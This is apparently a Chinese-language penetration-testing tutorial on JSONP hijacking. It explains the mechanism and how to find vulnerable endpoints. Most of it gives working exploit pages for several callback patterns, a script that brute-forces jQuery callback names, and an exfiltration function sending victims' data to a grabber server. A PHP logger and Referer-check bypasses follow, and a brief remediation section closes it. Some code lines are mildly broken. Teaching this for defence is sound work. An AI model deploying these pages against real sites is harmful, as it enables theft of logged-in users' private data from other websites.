JSONP跨域请求

JSONP跨域请求

  • 1.JSONP原理
  • 2.漏洞原理
  • 3. 漏洞危害
  • 4.利用前提
  • 5.漏洞挖掘
  • 6.漏洞利用
    • 1.基础函数调用
    • 2.对象方法调用
    • 3.回调函数是动态的
    • 4.基本数据获取
    • 5.绕过方式
  • 8.修复防范

1.JSONP原理

JSONP 是 JSON with padding(填充式 JSON 或参数式 JSON)的简写。
JSONP是一种利用HTML中元素标签,远程调用json文件来实现数据传递的技术,它的特点是可以跨域读取数据。请求动态生成的JS脚本同时带一个callback函数名作为参数。服务端收到请求后,动态生成脚本产生数据,并在代码中以产生的数据为参数调用callback函数。
存在的意义是绕过诸如同源策略强制执行XMLHttpRequest(AJAX requests)。

JSONP跨域请求_第1张图片

JSONP跨域请求_第2张图片

2.漏洞原理

JSONP劫持,实质上算是一种读类型的CSRF,在恶意的网页中构造恶意的JS代码,当合法用户点击该网页,由于目标站点存在JSONP劫持漏洞的接口,因此会将用户的该接口对应的信息劫持,并将其发送到攻击者的服务器。

3. 漏洞危害

  • 获取用户在其他网站的敏感信息。(可用于精准诈骗)

4.利用前提

  • 存在JSONP劫持漏洞的接口。

5.漏洞挖掘

1.回调函数在响应中进行了硬编码

  1. 寻找script类型的并且包含jsonp特征的资源
    - 谷歌语法:site:target.com inurl:?callback
    - 浏览器-开发者工具-网络-搜索关键词(json / jsonp / callback)
  2. 检查响应有无敏感信息
callback({
	'name':'jack'
})
  1. 检查Referer检验情况

6.漏洞利用

1.基础函数调用

myCallback回调函数在响应中进行了硬编码,并以JSON格式的数据进行包装:
可以通过定义myCallback函数,之后再script标签中引用该api进行简单的利用:

<script type="text/javascript">
function myCallback(data){
	var transactions = data.transactions.length;
	for (var i = 0; i < transactions; i++){
		document.write('the victim ' + data.transactions[i].from + ' sent ' + data.transactions[i].amount + ' ' + data.transactions[i].currensy + ' to ' + data.transactions[i].to + '
'); } } </script> <script src='http://....'></script>

注意:请确保在包含响应之前定义函数,否则将调用未定义的函数,并且不会获取任何数据。
登录的受害者访问我们的恶意页面时,我们将获取他的数据。

2.对象方法调用

几乎与第一个示例相同,您可能会在ASP或ASP.NET Web应用程序中遇到它。这个示例中,添加了_System.TransactionData.Fetch_作为围绕JSON格式数据的回调:
JSONP跨域请求_第3张图片
只需为_TransactionData_对象创建_Fetch_方法,该对象已经是_System_对象的一部分。

<script type="text/javascript">
var System = {};
System.TransactionData = {};
System.TransactionData.Fetch = function (data) {
	var transactions = data.transactions.length;
	for (var i = 0; i < transactions; i++) {
		document.write('the victim ' + data.transactions[i].from + ' sent ' + data.transactions[i].amount + ' ' + data.transactions[i].currensy + ' to ' + data.transactions[i].to + '
'); } }; </script> <script src='http://....'></script>

3.回调函数是动态的

a.完全可以通过URL(GET变量)进行控制
回调函数在URL中指定,我们可以完全控制它。该_回调_URL参数允许我们改变回调的名称,所以我们把它设置为testing,看看它在响应中改变:
JSONP跨域请求_第4张图片
利用代码大致同上,注意不要忘记添加回调参数:

<script type="text/javascript">
function testing(data) {
	var transactions = data.transactions.length;
	for (var i = 0; i < transactions; i++) {
		document.write('the victim ' + data.transactions[i].from + ' sent ' + data.transactions[i].amount + ' ' + data.transactions[i].currensy + ' to ' + data.transactions[i].to + '
'); } } </script> <script src='http://....'></script>

b.可从URL(GET变量)部分控制,但附加一个数字

在这种情况下,回调函数名称后面会附加一些东西,通常是一个数字。在大多数情况下,我们会得到类似jQuery的内容,并在其后_附加一个短数字,例如12345,回调将变成jQuery12345。例如:
JSONP跨域请求_第5张图片
这种类型,从逻辑上讲,攻击代码保持不变,只需要修改回调函数添加12345,即可,

<script type="text/javascript">
function jQuery12345(data) {
	var transactions = data.transactions.length;
	for (var i = 0; i < transactions; i++) {
		document.write('the victim ' + data.transactions[i].from + ' sent ' + data.transactions[i].amount + ' ' + data.transactions[i].currensy + ' to ' + data.transactions[i].to + '
'); } } </script> <script src='http://....'></script>

如果数字不是硬编码,并且是动态的,每次会话都不相同。那么如果数量相对较少,可以通过编程的方式为每种可能性预定义函数。示例代码如下:

<script>
var callbackName = 'jQuery';
var callbackNames = [];
var limit = 99999;
for (var j = 0; j <= limit; j++) {
	callbackNames[j] = callbackName + j;
}
for (var i = 0; i<= callbackNames.length; i++) {
	window[callbackNames[i]] = new Function('data','alert(data,transactions[0].amount);');
}
</script>
<script src='http://....'></script>

c.可通过URL(GET变量)控制,但未显示在请求中

这种情况涉及一个显然没有回调的API调用,因此没有可见的JSONP。当开发人员与其他软件保持“隐藏”的向后兼容性,或者重构时根本没有删除代码时,可能会发生这种情况。
当看到没有回调的API调用时,尤其是如果JSON格式的数据已经在括号之间,请手动将回调添加到请求中。(简单地说,就是省略了常见的关键词如callback,需要手动猜测补充)
常见的回调名称有:callback、cb、jsonp、jsonpcallback、jcb、call等等

4.基本数据获取

以上利用方式仅显示数据,这里介绍如何发送数据。示例:

<script type="text/javascript">
function testing(data) {
	var xmlhttp = new XMLHttpRequest();
	var grabberUrl = 'http://127.0.0.1/grabData.php?data=' + JSON.stringify(data);
	xmlhttp.open("GET", grabberUrl, true);
	xmlhttp.send();
}
</script>
<script src='http://....'></script>

如果响应很大,请确保切换到POST,因为由于HTTP GET大小限制,您可能无法收到完整的数据。

grabData.php的代码:


$data = $_GET['data'];
$fh = fopen('data.txt','a');
fwrite($fh, $data);
fclose($fh);
?>

5.绕过方式

1.绕过Referer检查

方式一:不发送Referer
为了绕过Referer检测我们可以选择不发送Referer。
构造一个不带HTTP Referer的请求,我们可以滥用data URI方案。因为我们正在处理的代码包含了引号,双引号,以及其他一些被阻止的语句,接着使用base64编码我们的payload(回调函数定义以及脚本包含)
data:text/plain;base64our_base64_encoded_code:

JSONP跨域请求_第6张图片

以下3个HTML标签允许我们使用data URI方案:

  • iframe (在src属性中) – Internet Explorer下不工作
  • embed (在src属性中) – Internet Explorer及Microsoft Edge下不工作
  • object(在data属性中) – Internet Explorer及Microsoft Edge下不工作

方式二:从HTTPS向HTTP发起请求
如果目标网站可以通过HTTP访问,也可以通过将我们的代码托管在一个HTTPS页面来避免发送HTTP Referer。
从HTTPS页面发起一个HTTP请求,浏览器为了防止信息泄漏是不会发送Referer header。需要将恶意代码托管在一个启用了HTTPS的站点。
注意:由于mixed-content安全机制,在浏览器默认设置下是不会工作的。需要受害者手动允许浏览器发出的安全警告。
JSONP跨域请求_第7张图片

8.修复防范

referer校验/过滤增加CSRF Token
防御同XSS漏洞结合:严格按照 JSON 格式标准输出 Content-Type 及编码( Content-Type : application/json; charset=utf-8 )对callback函数的长度进行限制、内容进行特殊字符的过滤

你可能感兴趣的:(渗透测试,#,漏洞分析)